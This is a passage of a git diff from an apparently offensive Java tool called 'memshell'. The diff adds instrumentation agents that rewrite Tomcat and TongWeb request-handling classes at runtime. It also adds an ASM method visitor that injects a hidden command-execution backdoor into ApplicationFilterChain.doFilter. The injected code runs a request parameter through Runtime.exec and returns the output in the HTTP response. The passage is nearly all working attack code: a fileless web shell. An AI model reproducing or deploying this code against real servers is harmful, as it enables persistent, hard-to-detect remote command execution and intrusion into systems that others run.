descriptor.endsWith(")V")) { + try { + return (MethodVisitor) constructor.newInstance(mv); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new TomcatContextValveAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentWithAsmInjector.java new file mode 100644 index 00000000..604b4f7b --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentWithAsmInjector.java @@ -0,0 +1,96 @@ +package com.reajason.javaweb.memshell.injector.tomcat; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain"; + private static final String TARGET_METHOD_NAME = "doFilter"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getDeclaredConstructor(MethodVisitor.class); + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public TomcatFilterChainAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + return (MethodVisitor) constructor.newInstance(mv); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new TomcatFilterChainAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentWithAsmInjector.java new file mode 100644 index 00000000..3bdc4313 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentWithAsmInjector.java @@ -0,0 +1,99 @@ +package com.reajason.javaweb.memshell.injector.tongweb; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve"; + private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve"; + private static final String TARGET_METHOD_NAME = "invoke"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getDeclaredConstructor(MethodVisitor.class); + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public TongWebContextValveAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { + try { + return (MethodVisitor) constructor.newInstance(mv); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new TongWebContextValveAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name) + || TARGET_CLASS_1.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentWithAsmInjector.java new file mode 100644 index 00000000..8d068b41 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentWithAsmInjector.java @@ -0,0 +1,98 @@ +package com.reajason.javaweb.memshell.injector.tongweb; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain"; + private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain"; + private static final String TARGET_METHOD_NAME = "doFilter"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getDeclaredConstructor(MethodVisitor.class); + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public TongWebFilterChainAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + return (MethodVisitor) constructor.newInstance(mv); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new TongWebFilterChainAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name) + || TARGET_CLASS_1.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAsmMethodVisitor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAsmMethodVisitor.java new file mode 100644 index 00000000..b3e4baa8 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAsmMethodVisitor.java @@ -0,0 +1,159 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import org.objectweb.asm.Label; +import org.objectweb.asm.MethodVisitor; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.Type; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class CommandFilterChainAsmMethodVisitor extends MethodVisitor { + + + public CommandFilterChainAsmMethodVisitor(MethodVisitor mv) { + super(Opcodes.ASM9, mv); + } + + @Override + public void visitCode() { + super.visitCode(); + // Define our parameter name + mv.visitLdcInsn("paramName"); + mv.visitVarInsn(Opcodes.ASTORE, 3); // Store "paramName" in local var 3 + + // Define labels for try-catch + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + + // Register the try-catch block - THIS IS THE KEY PART THAT WAS MISSING + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception"); + + // Start of try block + mv.visitLabel(tryStart); + + // Get the parameter from request: request.getParameter(paramName) + mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request (first param) + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", + "()Ljava/lang/Class;", false); + mv.visitLdcInsn("getParameter"); + mv.visitInsn(Opcodes.ICONST_1); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); + mv.visitInsn(Opcodes.DUP); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); + mv.visitInsn(Opcodes.AASTORE); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", + "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); + + // Invoke the getParameter method + mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request object + mv.visitInsn(Opcodes.ICONST_1); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + mv.visitInsn(Opcodes.DUP); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitVarInsn(Opcodes.ALOAD, 3); // Load paramName + mv.visitInsn(Opcodes.AASTORE); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", + "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); + mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); + mv.visitVarInsn(Opcodes.ASTORE, 4); // Store cmd in local var 4 + + // Check if cmd is not null + mv.visitVarInsn(Opcodes.ALOAD, 4); + Label ifNullLabel = new Label(); + mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel); + + // Execute the command: Process exec = Runtime.getRuntime().exec(cmd); + mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", + "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(Opcodes.ALOAD, 4); // Load cmd + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", + "(Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitVarInsn(Opcodes.ASTORE, 5); // Store Process in local var 5 + + // Get input stream: InputStream inputStream = exec.getInputStream(); + mv.visitVarInsn(Opcodes.ALOAD, 5); // Load Process + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", + "()Ljava/io/InputStream;", false); + mv.visitVarInsn(Opcodes.ASTORE, 6); // Store InputStream in local var 6 + + // Get response output stream + mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response (second param) + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", + "()Ljava/lang/Class;", false); + mv.visitLdcInsn("getOutputStream"); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", + "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); + mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response + mv.visitInsn(Opcodes.ICONST_0); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", + "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); + mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream"); + mv.visitVarInsn(Opcodes.ASTORE, 7); // Store OutputStream in local var 7 + + // Create buffer: byte[] buf = new byte[8192]; + mv.visitIntInsn(Opcodes.SIPUSH, 8192); + mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE); + mv.visitVarInsn(Opcodes.ASTORE, 8); // Store byte[] in local var 8 + + // While loop to read and write data + Label loopStart = new Label(); + Label loopEnd = new Label(); + + // Start of loop + mv.visitLabel(loopStart); + + // Read data: inputStream.read(buf) + mv.visitVarInsn(Opcodes.ALOAD, 6); // Load inputStream + mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", + "([B)I", false); + mv.visitVarInsn(Opcodes.ISTORE, 9); // Store length in local var 9 + + // Check if length == -1 + mv.visitVarInsn(Opcodes.ILOAD, 9); + mv.visitInsn(Opcodes.ICONST_M1); + mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd); + + // Write data: outputStream.write(buf, 0, length) + mv.visitVarInsn(Opcodes.ALOAD, 7); // Load outputStream + mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer + mv.visitInsn(Opcodes.ICONST_0); + mv.visitVarInsn(Opcodes.ILOAD, 9); // Load length + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", + "([BII)V", false); + + // Go back to start of loop + mv.visitJumpInsn(Opcodes.GOTO, loopStart); + + // End of loop + mv.visitLabel(loopEnd); + + // Return from the method without calling original doFilter + mv.visitInsn(Opcodes.RETURN); + + // If cmd is null, continue with original method + mv.visitLabel(ifNullLabel); + + // End of try block + mv.visitLabel(tryEnd); + + // Skip catch block if we didn't enter it + Label afterCatch = new Label(); + mv.visitJumpInsn(Opcodes.GOTO, afterCatch); + + // Start of catch block + mv.visitLabel(catchHandler); + // The exception is now on the stack + mv.visitVarInsn(Opcodes.ASTORE, 10); // Store exception in local var 10 and discard it + + // End of catch block + mv.visitLabel(afterCatch); + } +}